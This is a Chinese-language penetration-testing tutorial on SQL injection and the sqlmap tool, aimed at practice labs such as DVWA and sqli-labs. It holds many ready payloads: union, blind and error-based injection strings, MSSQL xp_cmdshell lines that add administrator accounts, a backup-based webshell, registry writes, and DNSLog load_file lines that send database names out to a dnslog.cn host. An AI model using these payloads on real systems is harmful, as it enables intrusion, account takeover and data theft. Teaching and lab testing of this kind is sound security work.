渗透测试 ( 6 ) --- SQL 注入神器 sqlmap

有不明白请先阅读《SQL注入攻击与防御》和 SqlMap手册(最好是阅读官方文档)。

sqlmap 官网:http://sqlmap.org/
sqlmap文档地址:https://github.com/sqlmapproject/sqlmap/wiki/Usage

类似 sqlmap 的工具,github 上搜索 sql injection,然后找星最多的。当 sqlmap 无法检测出来时,可以再换其他工具进行检测

1、sql 注入

什么是 sql 注入

SQL注入就是将SQL代码插入或添加到 应用或者用户的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器,SQL服务器解析并执行篡改后的 sql 并把结果返回。如果管理员没有对参数进行过滤,那么黑客可以通过数据传输点将恶意的SQL语句带入查询。

其实就是:改变原来的 sql 语句,导致 sql 执行结果发生改变。

SQL注入过程如图:

SQL 注入 分类

SQL注入的一般分类,按照注入点类型来分类

  • (1)数字型注入点。许多网页链接有类似的结构 http://www.example.com/12.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1
  • (2)字符型注入点。网页链接有类似的结构 http://xwww.example.com/users.php?user=admin 这种形式,其注入点 user 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where user='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where user='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。
  • (3)搜索型注入点。这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

SQL注入按照数据提交的方式可分为:

  • (1)GET 注入:提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
  • (2)POST 注入:使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
  • (3)Cookie 注入:HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
  • (4)HTTP 头部注入:注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

根据提交方式分类后,你会发现SQL注入最长发生的位置在链接地址、数据参数、cookie信息以及HTTP请求头等位置。了解了可能存在SQL注入的位置,然后我们需要判断在这些位置上是否能够触发SQL注入,最简单的方式就是在相应位置输入and 1=1 (以及and 1=1 的变换形式)来判断。对于不同的注入点类型,比如字符型需要适当添加单引号,而对于数字型的注入点则不需要。

常见 注入 位置

常见的注入点:网站的搜索Web表单提交输入域名、页面URL请求查询的字符串。只要是和数据库交互的地方都有可能存在注入。比如先前的很多影视网站泄露VIP会员密码,大多就是通过web表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。

如何判断是否存在SQL注入?简单点讲就是:只要网站页面有和数据库进行交互的地方,都有可能触发SQL注入。因为和数据库交互时,只要网站的开发人员没有对传入数据库的相应数据做安全处理(比如过滤特殊字符、编码等),都可能导致黑客将恶意代码(也就是包含非法SQL语句的SQL命令)通过网站前端传入数据库,并在数据库中执行这些具有黑客目的的SQL语句,从而造成数据库信息泄露、损坏等后果。

注入原理和思路

图片打开太小时,可以右键在新标签页中打开,然后就可以放大缩小进行查看。

手动 SQL 注入

手动判断一个网站是否存在 SQL 注入漏洞是渗透测试的基本技能之一。以下是常用的手动方法,包括输入不同的 Payload 和观察系统响应来确定是否存在 SQL 注入。

SQL Injection Payload List:https://github.com/payloadbox/sql-injection-payload-list

预备知识、基本步骤

对 mysql 数据库有一定了解;对基本的 sql 语句有所了解;对 url 编码 有了解:

  • 空格 = "%20"
  • 单引号 = "%27"
  • 双引号 = "%22"
  • 井号 = "%23"

基本步骤

  • 1. 判断是什么类型注入,有没有过滤关键字,是否能绕过
  • 2. 确定存在注入的表的列数,以及表中数据那些字段可以显示出来
  • 3. 获取数据库版本,用户,当前连接的数据库等信息
  • 4. 获取数据库中所有表的信息
  • 5. 获取某个表的列字段信息
  • 5. 获取相应表的数据

前面闭合;要执行的sql;后面闭合

sql 注释的三种方式

  • --空格  ( 注意:-- ' 最后一个单引号前面有空格 )
  • --+
  • #

基础 测试 方法

  • (1) 单引号测试。输入一个单引号 ',查看系统是否报错。测试点:在 URL 参数、表单输入框、Cookie、HTTP 头等位置尝试。示例:http://example.com/page?id=1' ,可能的错误信息:SQL 错误:You have an error in your SQL syntax 或者 Unclosed quotation mark after the character string
  • (2) 双引号测试。示例:http://example.com/page?id=1"
  • (3) 常见注入 Payload 测试。以下是一些简单的测试 Payload:
     闭合语句:
        1' OR '1'='1
        1' OR 1=1 -- 
        1' AND 1=2 -- 
        示例:http://example.com/page?id=1' OR '1'='1 
        如果返回结果不同,说明存在 SQL 注入。

布尔 盲注 测试

如果页面没有直接返回错误信息,可以尝试通过布尔型盲注来判断。通过对比两者的响应差异,可以判断是否存在注入。

  • (1) 构造条件为真的查询:1' AND 1=1 --
         现象:页面正常显示,数据返回。
  • (2) 构造条件为假的查询 1' AND 1=2 -- 
        现象:页面可能返回不同的内容或无数据。

示例:

时间 盲注 测试

如果无法通过返回页面内容判断,可以使用时间延迟来判断。

  • (1) Payload 示例
            MySQL:1' AND IF(1=1, SLEEP(5), 0) -- 
            PostgreSQL:1'; SELECT pg_sleep(5); --
            Microsoft SQL Server:1'; WAITFOR DELAY '00:00:05'; --
    (2) 现象:
    如果页面响应时间明显增加,说明可能存在时间型 SQL 注入。

联合查询 测试

尝试通过 UNION 查询来判断是否可以注入。

  • (1) 确定列数
        依次尝试以下 Payload,观察返回结果,直到返回正常页面,说明列数正确。
            1' UNION SELECT 1 --
            1' UNION SELECT 1,2 --
            1' UNION SELECT 1,2,3 --
  • (2) 返回数据验证
    确定列数后可以尝试获取数据:1' UNION SELECT null, username, password FROM users --

错误型 注入 测试

某些数据库会在 SQL 语句出错时直接返回错误信息,这些信息可用于判断注入点。

  • (1) 常用 Payload
            MySQL:1' AND EXTRACTVALUE(1, CONCAT(0x3a, (SELECT version()))) -- 
            Microsoft SQL Server:1' AND 1/0 -- 
            Oracle:1' AND (SELECT 1 FROM DUAL WHERE 1=UTL_INADDR.GET_HOST_ADDRESS('0')) = 1 --
  • (2) 现象:返回的错误信息中可能包含数据库类型、版本等信息。

Payload 注入点总结

以下是不同类型的注入点的测试方式:

注入类型	        示例 Payload
GET 参数注入	        http://example.com/page?id=1'
POST 参数注入	    username=admin'&password=1
Cookie 注入	        Cookie: sessionid=abc123'
HTTP 头注入	        User-Agent: test'

观察现象与响应,通过不同 Payload 测试,重点观察以下现象:

  • 页面是否报错
  • 页面返回内容是否不同
  • 页面响应时间是否延迟

如果发现任何异常响应,可能存在 SQL 注入。手动测试 SQL 注入需要在多个参数和位置进行尝试,同时需要灵活调整 Payload 以适应不同数据库和过滤机制。在实际操作中,如果某些参数被拦截或过滤,可以结合其他工具(如 Burp Suite)辅助测试。

1.判断是否有注入
        ;and 1=1
        ;and 1=2

2.初步判断是否是mssql
        ;and user>0

3.判断数据库系统
        ;and (select count(*) from sysobjects)>0 mssql
        ;and (select count(*) from msysobjects)>0 access

4.注入参数是字符
        'and [查询条件] and ''='

5.搜索时没过滤参数的
        'and [查询条件] and '%25'='

6.猜数据库
        ;and (select Count(*) from [数据库名])>0

7.猜字段
        ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
        ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
        ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
        ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
        ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
        ;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
    ;exec master.dbo.sp_addlogin username;--
    ;exec master.dbo.sp_password null,username,password;--
    ;exec master.dbo.sp_addsrvrolemember sysadmin username;--
    ;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
    ;exec master.dbo.xp_cmdshell 'net user username password /add';--
    ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录
        ;create table dirs(paths varchar(100), id int)
        ;insert dirs exec master.dbo.xp_dirtree 'c:\'
        ;and (select top 1 paths from dirs)>0
        ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

    (2)遍历目录
        ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
        ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
        ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
        ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
        ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
    use model
    create table cmd(str image);
    insert into cmd(str) values ('');
    backup database model to disk='c:\l.asp';

15.mssql内置函数
    ;and (select @@version)>0 获得Windows的版本号
    ;and user_name()='dbo' 判断当前系统的连接用户是不是sa
    ;and (select user_name())>0 爆当前系统的连接用户
    ;and (select db_name())>0 得到当前连接的数据库


16.简洁的 webshell
    use model
    create table cmd(str image);
    insert into cmd(str) values ('');
    backup database model to disk='g:\wwwtest\l.asp';
    请求的时候,像这样子用:http://ip/l.asp?c=dir

一次简单的 SQL 手工注入。( 可以基于 dvwa 、pikachu 等靶场进行测试 )

(1)根据以上知识判断,在搜索框中输入and 1=1(或or 1=1等)的一些变换形式不断尝试,最后发现输入' and 1=1 #返回页面正常,因此初步判断网站存在基于报错的搜索型注入点,

(2)然后开始进行手工注入
    a. 暴字段长度:命令 ' order by 3 #  页面返回正常,命令 ' order by 4 # 报错,因此判断字段长度为3。
    
    b. 匹配字段:命令 ' select 1,2,3 #无法执行,输入命令 ' and 1=1 union select 1,2,3 # 页面以及字段信息正常回显(因此该注入支持union联合查询注入)
        暴字段位置:命令 ' and 1=2 union select 1,2,3 # 。页面返回2,3
        
    c. 暴库,命令(MySQL暴库命令) ' and 1=2 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA  # 。根据页面返回信息可知网站使用MYSQL数据库,且网站的数据库为news。
        命令解析:SCHEMA_NAME当前数据库名 
        information_schema(数据词典)是MySQL自带的数据库,它提供了访问数据库元数据的方式(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)。
        SCHEMATA(information_schema中的一个表):提供了当前MySQL实例中所有数据库的信息。show databases的结果取之此表。

    d. 猜表,命令  ' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'news' # 。可以看到有news和secret_table两个表。
        命令解析:TABLE_NAME 当前表名
        TABLES(information_schema中的一个表)提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

    e. 猜字段,命令 ''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'news' #  
        ''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'secret_table' #
        输入两个命令后发现表二中有 fl4g  字段

    f. 暴密码(flag),命令 ' and 1=2 union select 1,2,fl4g from secret_table # 。得到flag,SQL注入完成

靶 场

sqli-labs

PHP7 之后的 mysql_ 都改成了 mysqli_** 了,所以 sqli-labs 用 PHP7+ 版本的话会报错!解决方法:直接使用支持 php7 的版本的 sqli-labs

sqli-lab:https://github.com/search?q=+sqli-labs&type=repositories
在线靶场:http://sqli.exp-9.com/
SQLi-Labs ( php7 版本 )下载地址:https://github.com/skyblueee/sqli-labs-php7
SQLi-Labs ( php5 版本 )下载地址:https://github.com/Audi-1/sqli-labs
详细 sqli-labs 通关讲解:https://blog.csdn.net/dreamthe/article/details/123795302
SQL 注入非常详细总结:https://blog.csdn.net/dreamthe/article/details/124969922
Less靶场SQL注入通关宝典:https://www.cnblogs.com/zxywlaq/p/18199225
SQL注入攻击与防御 第二版:http://download.csdn.net/detail/hx0_0_8/9284595

SQLi-Labs 是一个专业的 SQL 注入练习平台,适用于 GET 和 POST 场景,包含了以下注入:

  • 1、基于错误的注入(Union Select):字符串、整数
  • 2、基于误差的注入(双查询注入)
  • 3、盲注入(01、基于Boolian数据类型注入, 02、基于时间注入)
  • 4、更新查询注入(update )
  • 5、插入查询注入(insert )
  • 6、Header 头部注入( 01、基于Referer注入, 02、基于UserAgent注入,03、基于cookie注入)
  • 7、二阶注入,也可叫二次注入
  • 8、绕过WAF:绕过黑名单 \ 过滤器 \ 剥离 \ 注释剥离 OR&AND 剥离空格和注释剥离 UNION和SELECT、隐瞒不匹配
  • 9、绕过addslashes()函数
  • 10、绕过 mysql_real_escape_string() 函数(在特殊条件下)
  • 11、堆叠注入(堆查询注入)
  • 12、二级通道提取

安装完成,直接访问 index.html 页面如下:

然后在点击 Setup/reset Database for labs 就可以成功

如果上面数据库表创建成功,数据库表如下

修改 index.php 用来在前端页面显示后台执行的 sql 语句,需要在每一关的 index.php 都需改。

dvwa

搭建DVWA靶场:https://blog.csdn.net/m0_60884805/article/details/127086871
搭建DVWA靶场:https://blog.csdn.net/2302_82189125/article/details/135834194

pikachu

pikachu 靶场搭建:https://blog.csdn.net/weixin_51446936/article/details/117789696

其他靶场

xss-labs:https://github.com/do0dl3/xss-labs
XSS Challenges:http://xss-quiz.int21h.jp/
AWVS:https://pan.baidu.com/s/1C15VCFxp1KfTpCxWn4tRWw 提取码:1i73
DC靶机1-9:链接: https://pan.baidu.com/s/1Nws05Q-ZRLqaFgDQIYaEjg  密码: s3sr

webug  、看雪、freebuf、华盟,还有国内几个安全厂商(360、绿盟、知道创宇等)也有类似的技术分享平台。

  • 3、OWASP WebGoat,Web漏洞实验平台。
  • 4、OWASP Broken Web Applications Project,Web漏洞实验平台。
  • 5、OWASP buggy web Application,Web漏洞实验平台。
  • 6、OWASP iGoat,iOS渗透测试平台。
  • 7、Damn Vulnerable iOS Application,iOS渗透测试平台。
  • 8、ExploitMe Mobile Android Labs,Android渗透测试平台。
  • 10、hackthissite,分不同难度级别的挑战。
  • 11、实验楼,与渗透测试关系不大,但是是国内做得比较好的在线技能实验学习平台,涵盖的技术面也较广,值得推荐。
  • 12、TECHGIG,在线技能实验学习平台,涵盖的技术面较广。

2、sqlmap 简介

sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测和利用SQL注入漏洞,获取数据库服务器的权限。可以针对各种不同类型数据库进行渗透测试,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。目前支持几乎所有数据库。

sqlmap 功能

通用功能:https://github.com/sqlmapproject/sqlmap/wiki/Features

  • 完全支持 MySQLOraclePostgreSQL、Microsoft SQL ServerMicrosoft AccessIBM DB2SQLiteFirebirdSybaseSAP MaxDBInformixMariaDBPerconaMemSQL、TiDBCockroachDBHSQLDB、H2MonetDBApache DerbyAmazonRedshift, Vertica, Mckoi, Presto, ALTIBASE, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB, Aurora, OpenGauss, ClickHouse和 Virtuoso 数据库管理系统。
  • 完全支持五种 SQL 注入技术:基于布尔的盲注基于时间的盲注、基于错误的盲注、UNION 查询堆叠查询
  • 通过提供 DBMS 凭证、IP 地址、端口和数据库名称,支持直接连接到数据库,而无需通过 SQL 注入。
  • 可以提供单个目标 URL,从 Burp 代理或 WebScarab 代理请求日志文件中获取目标列表,从文本文件中获取整个 HTTP 请求,或者通过向 sqlmap 提供 Google dork 来获取目标列表,该 dork 查询 Google 搜索引擎并解析其结果页面。您还可以定义一个基于正则表达式的范围,用于标识要测试的已解析地址。
  • 测试提供了 GET 参数、POST 参数、HTTP Cookie 标头值、HTTP User-Agent 标头值和 HTTP Referer 标头值,以识别和利用 SQL 注入漏洞。还可以指定要测试的特定参数的逗号分隔列表。
  • 用于指定并发 HTTP(S) 请求(多线程)的最大数量以加快盲目 SQL 注入技术的选项。反之亦然,也可以指定每个 HTTP(S) 请求之间要保持的秒数。还实施了其他优化开关以加快开发速度。
  • HTTP Cookie 标头字符串支持,当 Web 应用程序需要基于 Cookie 的身份验证并且您拥有此类数据时,或者您只想测试和利用此类标头值的 SQL 注入时,这非常有用。您还可以指定始终对 Cookie 进行 URL 编码。
  • 自动处理来自应用程序的 HTTP Set-Cookie 标头,如果会话过期,则重新建立会话。还支持对这些值进行测试和利用。反之亦然,您也可以强制忽略任何标头。Set-Cookie
  • HTTP 协议 Basic、Digest、NTLM 和 Certificate 身份验证支持
  • HTTP(S) 代理支持将请求传递到目标应用程序,该目标应用程序也适用于 HTTPS 请求和经过身份验证的代理服务器。
  • 用于伪造 HTTP Referer 标头值和 HTTP User-Agent 标头值的选项,该值由用户指定或从文本文件中随机选择。
  • 支持提高输出消息的详细级别:存在 7 个详细级别
  • 支持从目标 URL 解析 HTML 表单,并针对这些页面伪造 HTTP(S) 请求,以测试表单参数是否存在漏洞。
  • 在用户开关和功能方面的粒度和灵活性
  • 每个查询的估计到达时间支持,实时更新,以便用户大致了解检索查询输出需要多长时间。
  • 在获取数据时自动将会话(查询及其输出,即使部分检索)实时保存在文本文件上,并通过解析会话文件来恢复注入
  • 支持从配置 INI 文件中读取选项,而不是每次在命令行上指定所有开关。还支持根据提供的命令行开关生成配置文件。
  • 支持在本地 SQLite 3 数据库上复制后端数据库表结构和条目
  • 从 subversion 存储库将 sqlmap 更新到最新开发版本的选项。
  • 支持解析 HTTP(S) 响应并向用户显示任何 DBMS 错误消息。
  • 与其他 IT 安全开源项目 Metasploit 和 w3af 集成。

指纹和枚举功能

  • 基于错误消息横幅解析函数输出比较特定功能(如 MySQL 注释注入)的广泛后端数据库软件版本和底层操作系统指纹。如果您已经知道后端数据库管理系统名称,也可以强制使用它。
  • 基本的 Web 服务器软件和 Web 应用程序技术指纹。
  • 支持检索 DBMS 横幅会话用户当前数据库信息。该工具还可以检查会话用户是否为数据库管理员 (DBA)。
  • 支持枚举用户、密码哈希、权限、角色、数据库、表和列
  • 自动识别密码哈希格式并支持使用基于字典的攻击来破解它们
  • 支持暴力破解表和列名称。当会话用户对包含架构信息的 system 表没有读取访问权限,或者数据库管理系统对 不要将此信息存储在任何地方(例如 MySQL < 5.0)。
  • 支持根据用户的选择完全转储数据库表、一系列条目或特定列。用户还可以选择仅转储每列条目中的一系列字符。
  • 支持自动转储所有数据库的 schema 和条目。可能会从转储中排除系统数据库。
  • 支持搜索特定数据库名称、所有数据库中的特定表或所有数据库表中的特定列。例如,这对于识别包含自定义应用程序凭证的表非常有用,其中相关列的名称包含字符串(如 name 和 pass)。
  • 支持运行自定义 SQL 语句,就像在连接到后端数据库的交互式 SQL 客户端中一样。sqlmap 会自动剖析提供的语句,确定哪种技术最适合注入它,以及如何相应地打包 SQL 有效负载。

接管 功能

以下的相关技术详细信息可在白皮书通过高级 SQL 注入完全控制操作系统和幻灯片通过数据库进一步控制操作系统中找到。

  • 支持用户自定义函数注入:用户可以编译生成共享代码库并通过 sqlmap 在数据库中创建共享库中没有的用户自定义函数。可以通过 sqlmap 执行或者移除这些 UDFs。这些功能当前只支持 MySQL 和 PostgreSQL 数据库。

  • 支持从运行 MySQL,PostgreSQL 和 Microsoft SQL Server 的数据库服务器文件系统中下载和上传文件

  • 支持在运行 MySQL,PostgreSQL 和 Microsoft SQL Server 的数据库服务器操作系统中执行任意命令并获取相应输出

  • 支持在运行 MySQL 和 PostgreSQL 数据库服务器上定义用户自定义函数注入并执行。

  • 支持在运行 Microsoft SQL Server 数据库服务器上使用 xp_cmdshell() 存储过程。同时,如果注入的存储过程被 DBA 禁用则会被自动启用,在被移除时,则会自动创建。

  • 支持在操作系统中建立攻击者机器和数据库服务器之间的有状态的带外数据 TCP 连接。根据用户选择这个通信通道可以是交互式命令行,Meterpreter 会话或图形用户界面(VNC)会话。sqlmap 依赖 Metasploit 生成 shellcode ,支持通过四种技术在数据库服务器执行。这些技术分别是:

    • 通过 sqlmap 自带的用户自定义 sys_bineval() 函数,在内存中执行 Metasploit shellcode。当前支持 MySQL 和 PostgreSQL。

    • 对于 MySQL 和 PostgreSQL,通过 sqlmap 自带的用户自定义 sys_exec() 函数上传并执行一个 Metasploit 独立运行的 payload,对于 Microsoft SQL Server 则使用 xp_cmdshell()

    • 通过 SMB 反射攻击MS08-068)执行 Metasploit shellcode,这需要目标数据库服务器向已被 Metasploit smb_relay 监听的攻击者机器发出一个 UNC 路径请求。当 sqlmap 以 Linux/Unix 高权限(uid=0)运行,并且目标 DMBS 在 Windows 中以管理员身份运行时支持该功能。

    • 通过利用 Microsoft SQL Server 2000 和 2005 中存在的 sp_replwritetovarbin 存储过程堆缓冲区溢出MS09-004)在内存中执行 Metasploit shellcode。sqlmap 有内置脚本可以自动绕过 DEP 内存保护去触发目标系统漏洞,该脚本依赖 Metasploit ,用于生成 shellcode 以执行攻击。

  • 支持通过 Metasploit 的 getsystem 命令进行数据库进程用户提权,这个命令使用了包括 kitrap0d 在内等技术(MS10-015)。

  • 支持访问(读取/添加/删除)Windows 注册表配置单元。

下载、安装、更新

sqlmap 需要 Python 环境,可以运行在任何3.x 版本。

点击 here 下载最新的 tar 包,或者点击 here 下载最新的 zip 包。也可以通过 git 仓库下载。

也可以通过 pip 现在安装:pip install --upgrade sqlmap

执行命令将 sqlmap 更新到最新的开发版本:python sqlmap.py --update

可以添加到环境变量,方便使用(不添加也可以用)

6 种注入技术

sqlmap 全面支持 6 种 SQL注入技术:

  • B:布尔型盲注(Boolean-based blind) 。根据返回页面,判断条件真假的注入。适用场景:没有数据回显,条件正确时有结果,条件错误时没有结果。利用方法:构造判断条件,逐个猜测(盲猜) ( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=45: )。为 --time-sec 提供一个整数,可以设置时间型盲注响应的延迟时间。默认情况下,它的值为 5 秒。
  • E:报错型注入(Error-based)。 页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。主要是利用 sql 语法错误,返回错误信息,错误信息中包含敏感信息。( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=47 )
  • U:联合查询注入(UNION query-based)。在可以使用 Union 的情况下的注入。
    --union-cols  默认情况下,sqlmap 进行联合查询注入时使用 1 到 10 列。当然,可以通过提供更高的--level 值将该范围增加到最多 50 列。可以手动指定选项 --union-cols 和相应的数字范围,以针对该类型的 SQL 注入测试特定范围的列。例如,12-16 代表进行 12 到 16 列的联合查询注入测试。
    --union-char  默认情况下,sqlmap 测试联合查询注入会使用 NULL 字符。然而,通过提供更高的--level 值,sqlmap 将执行一个随机数字的测试,因为存在少数情况,使用 NULL 的联合查询注入会失败,而使用随机整数会成功。可以手动提供选项 --union-char 和所需的数字(例如:--union-char 123)来测试该类型的 SQL 注入。
    --union-from  在部分联合查询注入中,需要在 FROM 子句中强制指定使用有效且可访问的表名。例如,Microsoft Access 就要求使用这样的表。如果不提供一个这样的表,联合查询注入将无法正常执行(例如:--union-from=users)。
  • S:堆叠查询注入(Stacked queries)。在原有 SQL 查询后添加多个独立的查询。这种技术依赖于目标数据库支持多条 SQL 查询的执行,通常通过分号 (;) 分隔。堆叠查询的特点
    独立性:每个查询独立执行,前一个查询的执行结果不会影响后续查询。
    多条查询:可以在一次请求中执行多条语句,如 SELECT、INSERT、UPDATE、DELETE 等。
    高危:如果成功,攻击者可以完全控制数据库,例如添加管理员用户、删除表数据等。
  • T:时间型盲注(Time-based blind)。 当不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行( 即页面返回时间是否增加 )来判断。( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=46: )。场景:当不能sql注入没有回应时,假设可以延迟 5s在执行,如果延迟5s后执行了构造的sql,说明可以sql注入。
  • Q:内联查询注入(inline Query)。
  • 带外 注入 ( out-of-band 即 OOB ):就是非应用内通信注入,比如 dnslog。构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。
  • 宽字节注入:利用 gbk 是多字节的编码,两个字节代表一个汉字

DNS 渗出攻击

选项:--dns-domain

DNS 渗出 SQL 注入攻击在文章 Data Retrieval over DNS in SQL Injection Attacks(译者注:乌云知识库有该文章的翻译,在 SQL 注入中使用 DNS 获取数据)中进行了介绍,而 sqlmap 中的实现方式可以在幻灯片 使用 sqlmap 进行 DNS 渗出攻击 中找到。

如果用户正控制着一台注册为 DNS 域名服务器的主机(例如:域名 attacker.com),则可以使用该选项(例如:--dns-domain attacker.com)来启用此攻击。它的前提条件是使用 Administrator(即管理员)权限(因为需要使用特权端口 53)运行 sqlmap,这时可以使用常用的(盲注)技术来进行攻击。如果已经识别出一种有效攻击方式(最好是时间型盲注),则这种攻击能够加速获取数据的过程。如果报错型注入或联合查询注入技术可用,则默认情况下将跳过 DNS 渗出攻击测试。

DNSLog 注入 原理:

根据 dnslog 原理,既然 dns 请求可以,那么 http 请求也可以。

https://blog.csdn.net/weixin_47559704/article/details/122473265

在 sql 注入时,布尔盲注、时间盲注,注入的效率低且线程高容易被 waf 拦截,又或者是目标站点没有回显,在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到DNSlog 注入。首先需要有一个可以配置的域名,比如:xxx.io,然后通过代理商设置域名 xxx.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 xxx.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。

DNS 在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

UNC ( Universal Naming Convention ) 通用命名规则

格式:\servername\sharename,其中 servername 是服务器名。sharename是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
其实平常在 Widnows中用共享文件的时候就会用到这种网络地址的形式:\sss.xxx\test 。

这也就解释了为什么 CONCAT() 函数拼接了4个 \ ,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。
例如:http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select load_file(concat('\\\\',(select database()),'.vlfrr9.dnslog.cn\\abc')))--+&Submit=Submit#

这里concat函数拼接了4个\最后变成2个\

子域名 网址 推荐

:http://www.dnslog.cn
:http://admin.dnslog.link
可以发起 http 请求,需要注册:http://ceye.io

sql 注入利用

通过 DNSlog 盲注需要用的 load_file() 函数,所以一般得是 root 权限。show variables like ‘%secure%’; 查看 load_file() 可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
如果为Null解决如下:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

show variables like '%secure%';

通过设置 my.ini 来配置。secure_file_priv="" 就是可以 load_flie 任意磁盘的文件。

以管理员身份打开 cmd 重启后
net stop mysql
net start mysql

http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1' and (select load_file(concat('\\\\',(select database()),'.fl1ka5.dnslog.cn\\abc')))--+&Submit=Submit#

这里使用的是http://www.dnslog.cn/
点击Get SubDomain,将获取的dnslog替换掉,执行以后点击Refresh Record,这样就查询到了我们所需要的数据库名称。表名,字段名亦是如此。

dnslogsql 注入工具:https://github.com/search?q=dnslog

二阶 注入 攻击

选项:--second-url--second-req

